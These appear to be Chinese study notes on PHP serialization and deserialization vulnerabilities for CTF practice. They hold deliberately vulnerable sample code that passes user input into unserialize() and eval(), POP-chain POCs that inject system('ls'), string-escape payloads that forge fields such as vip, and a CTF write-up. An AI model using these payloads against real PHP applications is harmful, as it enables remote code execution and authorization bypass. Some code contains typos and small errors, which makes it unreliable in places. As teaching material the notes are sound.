一,php面向对象。
1.面向对象:
以“对象”伪中心的编程思想,把要解决的问题分解成对象,简单理解为套用模版,注重结果。
2.面向过程:
以“整体事件”为中心的编程思想,把解决问题的步骤分析出来,用函数依次实现,注重过程。
3.类:
将数据和数据上的操作封装在一起
内部构成:成员变量(属性)+成员函数(方法)
注:属性在外部是不可以直接看到的,但是可以访问。
(1)创建一个类
其中var的作用是声明变量
$this为预定义
(2)new
new的作用是讲之前定义的类实体化,类里先定义了,才能在后面赋值
注意,之前的声明变量并不会执行出任何内容,包括上面的echo,因为上面定义的变量里面没有任何内容。只有将类实例化成对象,并给参数赋值,再打印输出,才会有值输出。
4.类的修饰符
分为三类。用了修饰符以后,可调用范围会改变,详情如下,可省略,默认为是public
私有属性(privade)只有父类可以用
5.继承:
继承性是子类自动共享父类数据和方法的机制,如上hero2对父类hero的继承可以表达出身高
二.序列化基础知识
1.什么是序列化?
序列化是将对象或数组转化为方便存储、传输的字符串,php使用serialize()函数将对象序列化; 序列化只作用于对象的成员属性,不序列化成员方法
2.反序列化值
各类型值的serialize序列化:
空字符 null -> N; 空
整型 123 -> i:123; int
浮点型 1.5 -> d:1.5; double
boolean型 true -> b:1;
boolean型 false -> b:0;
字符串 “haha” -> s:4:"haha"; string型6个单位长
3.数组,对应规则如下。
4.对象序列化
只作用于对象的成员属性(变量),不序列化成员方法(函数),
在如下代码比较中,我们可以看得到,对象pub的内容benben被输出,但是方法(函数)却没有任何改变。
<?php
highlight_file(__FILE__);
class test{
public $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:3:"pub";s:6:"benben";}
5.私有属性的序列化
会在变量前加上%00(占一个位)+类名+%00,这里的%00不是空格,而是null空。
在下面的示例中,在原变量名pub之前加上了类名test,表面上看只有7个字符,但是实际加上了两个%00,就使得长度变为了9
<?php
highlight_file(__FILE__);
class test{
private $pub='benben';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
假若你将内容用url编码输出,你就可以看到他的真实样子,在test前后都有%00
6.保护属性的序列化
会在变量名前加上%00*%00
7.成员属性调用对象过程及序列化(pop链序列化)
对象的成员属性是另一个对象,序列化值出现嵌套。
三,反序列化
1.反序列化后的内容是一个对象。
如下代码展示序列化
整个过程是:对象通过序列化变为字符串,而反序列化让字符串变为对象。
2.反序列化生成的对象的值,与原来的类的预定义无关,而是由反序列化的值提供。
在上面的示例中,$c输出的值没有按序列化的值(xxxxxx)输出,而是以反序列化的值hellow提供,因此,在输出的$c中,$c的值为hellow。
3.反序列化不能触发类里的成员方法,如果想用,需要调用(除魔术方法外)。
在下面的示例中,我们调用了之前的成员方法,使得$c的输出 输出username的内容,但是在反序列化之后,username的内容改变了(上一条的原因)因此,最后输出的内容就是hellow
附:为什么会有反序列化漏洞?
因为在反序列化过程中unserialize()的值可控,通过更改这个值,得到需要的代码
8.反序列化漏洞的利用
eg1:
四.魔术方法
问1.什么是魔术方法?
魔术方法是预先定义好的,在特定情况下自动触发的行为方法
问2.魔术方法的作用?
在反序列化过程中unserialize()的值可控,通过更改这个值,得到需要的代码,通过调用方法,触发代码执行。
常规魔术方法:
1._construct()
构造函数,在实例化一个对象的时候,首先执行的方法,实例化对象时触发构造函数_construct()
在如下示例中,并没有调用方法,而是由魔术方法触发的。
2.__destruct()
析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法。
注意:析构函数不能带有任何参数。
在如下示例中,
实例化对象结束以后,代码完全销毁,触发析构函数__destruct() ,这是第一次触发
反序列化本身也是对象,反序列化生成的对象在释放时触发构析函数,这是第二次触发
附:析构函数示例
在如下示例中,我们构造了一个payload,通过get传参,使得代码触发构析函数,构析函数再执行eval,eval触发代码。
3.__sleep()
序列化serialize会检查是否存在一个__sleep()的魔术方法,如果存在,会先调用该魔术方法,再进行序列化; 这个函数可以用来清理对象,冰饭换一个数组,这个数组里面理包含有该被序列化的变量名;如果没有返还任何内容,则null被序列化,并产生一个E_NOTICE级别的错误。
触发时机:serialize之前
功能:对象被序列化之前触发,返还需要被序列化储存的成员属性,删除不必要的属性。
参数:成员属性
返还值:需要被序列化储存的成员属性
在一下示例中,第12行_sleep 函数返还的变量是username和nickname,在代码执行序列化之前,检查了_sleep()函数,发现过滤了password,因此,在序列化之后,password就没有了。
4._weakup()
反序列化unserializezai在执行之前会检查是否有_weakup(),如果有,则先调用_weakup(),预先准备对象需要的资源
作用:预先准备对象资源,返回void,常用于反序列化中重新建立与数据库的链接,或者执行其他初始化操作。
触发时机:反序列化unserialize之前
如下示例
在输出中,可以看到,_weakup()将username的值a赋给了password,并且展示出了类名(User)和password的属性(private)。在源代码中,$user_ser没有将password和order赋值,因为触发了_weakup(),在输出中就加上了password的值为a,order没有值,就返回NULL。
5._toString()
触发时机:把对象当做字符串调用,当表达方式错误时,就会触发
附:常用于构造pop链接
在如下示例中,在第12行将对象作为字符串输出,触发魔术方法,当输出的方法为print时,也会触发。
6._invoke()
触发时机:把对象当成函数调用,当格式表达错误时,就会触发
错误调用相关魔术方法:
1._call()
触发时机:调用一个不存在方法的名称和参数,在对象中调用一个不可访问方法时调用
作用:为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。
方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。
返回值:所调用的不存在方法的名称和参数。
在如下示例中,调用了一个不存在方法的名称(callxxx)和参数(a),触发了魔术方法_call(),
让不存在的名称和方法输出,最终输出了callxxx,a
<<?php
error_reporting(0);
class User {
public function __call($arg1,$arg2) //$arg1:调用不存在的方法的名称,$arg2:代用不存在的方法的参数
{
echo "$arg1,$arg2[0]"; //就是callxxx,a
}
}
$test = new User() ;
$test -> callxxx('a'); //调用了不存在的方法callxxx(),触发了魔术方法call
?>
2.__callStatic
触发时机:静态调用或者调用成员常量时使用
此方法与上面所说的 __call() 功能除了 __callStatic() 是未静态方法准备的之外,其它都是一样的。
在源码中的展现为在调用时的符号是::,其他与上一个相同
3._get()
触发时机:调用不存在的成员属性
获得一个类的成员变量时调用,在 php 面向对象编程中,类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()。
<?php
error_reporting(0);
class User {
public $var1;
public function __get($arg1) //$arg1就是var2
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2; //var2不存在,触发_get(),把不存在的属性名称var2赋值给了$arg1
?>
4._set()
触发时机:给不存在的成员属性赋值
返回值:不存在的成员属性的名称和所赋的值
<?php
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{ //$arg2:给不存在成员属性var2赋的值
echo $arg1.','.$arg2; //$arg1:不存在成员属性的名称
}
}
$test = new User() ;
$test ->var2=1; //给不存在的var2赋值1
?>
5._isset()
触发时机:对不可访问属性使用isset()或者empty()时,_isset()会被调用。
参数:传参$arg1
返回值:不存在的成员属性的名称。
<?php
error_reporting(0);
class User {
private $var; //私有属性在外部不可以调用,只能在当前类中调用
public function __isset($arg1 )
{
echo $arg1; //输出不可用(存在)的成员属性的名称
}
}
$test = new User() ;
isset($test->var); //var是不可读的(不存在的),触发_isset()
?>
6._unset()
触发时机:对不可访问属性使用unset()时
返回值:不存在的成员属性的名称
<?php
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1; //输出不存在的成员属性的名称
}
}
$test = new User() ;
unset($test->var); //var的私有属性是不可访问的,触发_unset()
?>
7._clone()
触发时机:当对象使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法.
<?php
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test"; //此魔术方法输出__clone test
}
}
$test = new User() ;
$newclass = clone($test) //克隆类里的var给newlass,触发_clone()
?>
8.对应图
五.pop链的构造思路知识——构造代码写poc代码
1.了解调用链
tip1:内部(无限制)
<?php
error_reporting(0);
class index {
private $test; //6.关键点:如何利用$test调用eval里的action
public function __construct(){
$this->test = new normal();
}
public function __destruct(){ //3.改魔术方法下面带有action
$this->test->action();
}
}
class normal {
public function action(){ //5.normal会执行此输出
echo "please attack me";
}
}
class evil {
var $test2; //$test2=system
public function action(){ //2.action不是魔术方法,需要调用
eval($this->test2); //1.漏洞点:eval可以调用$test2,利用反推法
}
}
unserialize($_GET['test']); //反序列化触发魔术方法_destruct()
?> //7.解决思路:给$test赋值为对象test =new evil()
具体为
//要反序列化触发魔术方法_destruct()
//反序列化的值是由反序列化提供的值来决定的
//反序列化时定义test为对象,此对象名为evil
//从evil中拿取action
//示例化对象时会触发_construct()
构造如下
具体操作为:
1.复制源码
2.注释用不到的代码
3.给$test赋值system("ls");——即要执行的命令
4.test实例化 new evil() ——通过控制test里的对象来控制destruct里的action这个动作
5.序列化:先实例化对象index,来触发construct,再序列化index里的值并输出
注意:如果属性不是public的,需要把不能显示的位置改为编码。
<?php
class index {
private $test;
public function __construct(){ //关联步骤:给$test赋值实例化对象 test =new evil()
$this->test = new evil();
// $this->test = new normal();
}
//public function __destruct(){ //此时$a为实例化对象index(),
// $this->test->action(); 其中成员属性$test=new evil();
// } $test为实例化对象evil(),成员属性$test="system('ls');";
}
//class normal {
// public function action(){
// echo "please attack me";
// }
//}
class evil {
var $test2 = "system('ls');"; //序列化只能序列化成员属性,不序列化成员方法
// public function action(){ 构造命令语句
// eval($this->test2);
// }
}
$a =new index(); //实例化对象index(),自动调用_construct()
echo urlencode(serialize($a));
//unserialize($_GET['test']);
?>
tip2:外部调用(需要属性为public)
再如下示例中
1.实例化evil
2.给test2赋值system("ls -l ");
3.实例化index并赋值给$b
4.$b调用index,将$a赋值给它,
5.输出序列化后的值
<?php
class index {
public $test;
}
class evil {
var $test2;
}
$a =new evil();
$a->test2='system("ls -l");';
$b = new index();
$b->test = $a;
echo serialize($b);
?>
2.了解魔术方法
触发前提:魔术方法所在的类或对象被调用
举如下例子,
(1)目标:
我们想要触发两个魔术方法,并且输出指定的语句
<?php
class fast {
public $source;
public function __wakeup(){ //想要触发wakeup,就要反序列化fast
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){ //想触发tostring,就要让source成为一个对象,即把sec实例化为一个对象,并赋值给source
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
(2)构造方法:
即我们想要两个魔术方法都成功执行,要在一个对象($a)里让source赋值对象$b,在触发_weakup()后执行echo从而触发sec里的_toString(),构造如下
<?php
class fast {
public $source;
}
class sec {
var $benben;
}
$a =new sec();
$b =new fast();
$b ->source =$a;
echo serialize($b);
?>
(3)结果:
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
(4)回顾:
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$a ='O:3:"sec":1:{s:6:"benben";N;}';
unserialize($a); //反序列化的内容$a调用的类sec里不含有weakup,不会触发。
echo unserialize($a); //echo把反序列化的内容当成字符串输出,触发类里的_toString。
$b = 'O:4:"fast":1:{s:6:"source";N;}';//反序列化触发$b所调用的fast里包含的weakup。
unserialize($b);
?>
在运行以上代码以后,先输出tostring is here! ! ,再输出wakeup is here!!
3.pop链构造和poc编写
3.1 pop链
再反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以我们在PHP反序列化中有一种利用漏洞方法叫“面向属性编程”,即pop(property Oeiented Programming);pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。
3.2 poc编写
poc(全称:proof of concept)中文是:概念验证,在安全界可以理解为漏洞验证程序,poc是一段不完整的程序,仅仅是为了证明提出者观点的一段代码
3.3 示例如下
(1)目标:
触发echo,调用$flag,源码和分析如下
<?php
//flag is in flag.php
class Modifier {
private $var; //-2:.触发invoke,调用append,使$var=flag.php
public function append($value)
{
include($value); //value中有flag,是传参进来的
echo $flag; //-1:目的:得到flag
}
public function __invoke(){ //-3:触发条件:把对象当成函数
$this->append($this->var);
}
}
class Show{
public $source; //=object Show
public $str; //=obiect Test
public function __toString(){ //触发toString,触发条件,把对象当成字符串
return $this->str->source;//-6给$str赋值为对象Test,而Test中不存在成员属性source,触发get
}
public function __wakeup(){ //-9:触发weakup(反序列化unserialize)
echo $this->source; //-8:把source赋值为对象show,当成字符串被echo调用,触toString
}
}
class Test{
public $p; //-4:给$p赋值为对象。即function成为对象Modifier,却被当成函数调用,触发Modifier里的invoke
public function __construct(){
$this->p = array();
}
public function __get($key){ //-5:触发get,触发条件:调用不存在的成员属性
$function = $this->p; //function里有p
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
(2)步骤
反推法分析
第一步:反序列化触发weakup,echo source
第二步:echo输出的source,触发toString,($source=Show ,$str=Test)return返还source
第三步:return $this->str->source,触发get,把p赋值给function
第四步:把Modifier赋值给p,触发invoke,($var=flag.php)调用append,将$var=flag.php当做参数传给$value,$value请求flag
(3)构造
逆反推法
1.删掉function,只留下类,如下
<?php
//flag is in flag.php
class Modifier {
private $var;
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
?>
2.写代码
<?php
//flag is in flag.php
class Modifier {
private $var ='flag.php'; //1.给var赋值flag.php,注意,此处属性为private,只能在里面赋值
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a =new Modifier(); //2.实例化Modifier
$b =new Test(); //3.实例化Test
$b -> p =$a; //4.将$a赋值给p
$c =new Show(); //5.实例化Show
$c ->source = $Show;//6.将$Show赋值给source,触发toString
$c ->str =$b; //7.将$b($a)赋值给$c
echo serialize($c); //8.输出序列化值,触发魔术方法
?>
(4)payload
?pop=O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" %00Modifier%00 var";s:8:"flag.php";}}}
六.反序列化逃逸
反序列化分隔符
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候可能存在反序列化属性逃逸。
字符串逃逸
反序列化字符串减少逃逸,多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。
反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性
前置知识
反序列化时,每个成员属性和它的字符串的长度都要和实际的相等,才能正常的反序列化
反序列化之前的值中有定义的,以值为准,没定义的以类里的为准,进行反序列化输出
对于区分某个符号是字符(占长度)还是格式符号(无长度),是由前面的字符串长度决定的。
当成员属性的数量,名称长度,内容长度都一致时,;}是反序列化的结束符,后面的内容不影响反序列化结果。
1.减少
源码如此,当replace把system替换为空后,要替换的字符长度在原本的内容中不够(没有了),就会把后面的一部分字符(一部分功能性代码)也拿掉——原本只替换system(),现在变成了abc";s:2:"v消失,因为原本规定的这个内容有11个字符,此时输出bool(false)
<?php
class A{
public $v1 = "abcsystem()";
public $v2 = '123';
}
$data = serialize(new A());
//O:1:"A":2{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data); //replace把system()替换为空
//O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123":}
var_dump(unserialize($data));
?>
我们的目标是通过修改v2的值,让v2的内容123逃逸(我们想要留下的内容),具体为通过修改/补全字符串123的格式,并使后面的字符串变成功能性代码(简而言之就是把丢失部分的完全丢掉,然后补全想要的逃逸的部分),值得注意的是:我们构造的格式要比我们需要逃逸的内容的长度更长
在示例中,每替换一个system()就是8个字符.其中,红色部分是原来消失的部分,而紫色的是我们构造的部分。
abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,
所以后面还要再补上7个字符,故:
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}
之后再运行,结果为
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
object(A)#1 (3) {
["v1"]=>
string(27) "abc";s:2:"v2";s:21:"1234567"
["v2"]=>
string(21) "1234567";s:2:"v3";N;}"
["v3"]=>
NULL
2.增多
<?php class A{ public $v1 = 'ls'; public $v2 = '123'; } $data = serialize(new A()); //O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";} $data = str_replace("ls","pwd",$data); //ste_replace把'ls'替换为'pwd' echo $data; //O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";} var_dump(unserialize($data)); //bool(false) -------------------------------------- O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";} bool(false)
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
字符串增多末尾的d被挤出
O:1:"A":2:{s:2:"v1";s:xx:"pwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
";s:2:"v3";s:3:"666";}的长度为22,;}可以结束反序列化所以后面的原功能性代码";s:2:"v2";s:3:"123";}可以不用管
一个ls转成pwd多一个字符,所以要转成";s:2:"v3";s:3:"666";}需要22个ls转成pwd
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}成为一串字符串长度为66
故将v1赋值为lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}
结果
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
object(A)#1 (3) {
["v1"]=>
string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
["v2"]=>
string(3) "123"
["v3"]=>
string(3) "666"
3.增多例题
目的:判断是否pass=='escaping'
<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name; } class test{ var $user; var $pass='daydream'; //这个地方没有可以用魔术方法的位置 function __construct($user){ $this->user=$user; //因魔术方法可以控制 } } $param=$_GET['param']; //获取的值给$param,放在实例化test里作为一个参数 $param=serialize(new test($param)); //会触发construct() $profile=unserialize(filter($param)); //filter会替换含有"flag","php"为"hack",然后反序列化 if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); } ?>
分析:1.要pass=escaping,在反序列化的时候逃逸出来,是增多还是减少
2.构造出关键的成员属性序列化之后的字符串
<?php class test{ var $user ='ok'; var $pass='escaping'; } echo serialize(new test());
结果:
O:4:"test":2:{s:4:"user";s:2:"ok";s:4:"pass";s:8:"escaping";} 目标逃逸代码
3.要增多,每次会吐出来多少个字符
其中user的值可控(上面解释过用魔术方法就可以触发),将user的值改为n个php每次php被替换成hack就会吐出一个字符
s:4:"user";s:xx:"hack s:4:"pass";s:4:"pass";s:8:"escaping";}"; //需要吐出27个字符
s:4:"user";s:xx:"hack ";s:4:"pass";s:4:"pass";s:8:"escaping";}"; //补全结构";所以需要吐出29个字符
4.构造payload并提交
有29个字符要写29个php(每个吐一个)
<<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'; $param=serialize(new test($param)); echo filter($param);
结果:29个hack,一个php吐出一个字符,要29个php,如下即payload
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
4.减少例题
目的:让profile=vip
<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; //此值可控,字符串逃逸 var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; //魔术方法触发 } } $param=$_GET['user']; $pass=$_GET['pass']; $param=serialize(new test($param,$pass)); $profile=unserialize(filter($param)); //对$param的值‘user’进行检查,filter把"flag","php"替换为"hk",然后反序列化。 if ($profile->vip){ //判断vip是否为true echo file_get_contents("flag.php"); } ?>
分析:字符串过滤后是增多还是减少——减少
<?php class test{ var $user="flag"; var $pass="benben"; var $vip = true ; } echo serialize(new test()); ?>
结果:
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
构造出关键成员属性序列化字符串
flag被替换为hk,字符串减少,会吃掉后面的结构代码。
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
要把s:3:"vip";b:1;}成功逃逸,修改$pass的值,会导致成员属性减少一个(:}后的内容无效),因此,我们需要在后面补充回来,因此,最终逃逸代码修改benben为
";s:4:"pass";s:6:"benben";s:"vip";b:1;}
flag变为hk每次吃掉2个字符,";s:4:"pass";s:xx:"有19个字符,多吃的一位在后面补
减少判断吃掉的内容,并计算长度,因此,
user="flagflagflagflagflagflagflagflagflagflag"; //10个flag ,可以吃掉20个,user也就是param
pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}'; //这个1是在代码执行后让profile=vip为ture
最终为:
<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param="flagflagflagflagflagflagflagflagflagflag"; $pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;} '; $param=serialize(new test($param,$pass)); echo $param;
结果为(payload):
O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:43:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;} ";s:3:"vip";b:0;}
O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:43:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;} ";s:3:"vip";b:0;}
注:
如果要深究每一步是怎么运行的,可以下载phpstorm后设置断点一步步查看。
七.session反序列化漏洞
八.phar反序列化
九,题目示例
[SWPUCTF 2021 新生赛]ez_unserialize
1.打开题目,只有一张动图,源码里也没有什么
2.用御剑扫一下,依次访问,在robot.txt中找到一个c145s.php
3.再次访问,出现真正的题目,是一串代码,意思是满足admin=admin&passwd=ctf,触发__destruct()函数,就可以得到flag
4.上面要求admin=admin&passwd=ctf通过get传参可以得到flag ,我们构造一下payload
<?php class wllm { public $admin = "admin";//满足要求 public $passwd = "ctf";//满足要求 } $w=new wllm; //实例化 $w=serialize($w); //序列化 echo $w; //输出
5.payload为
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
6.get传参得flag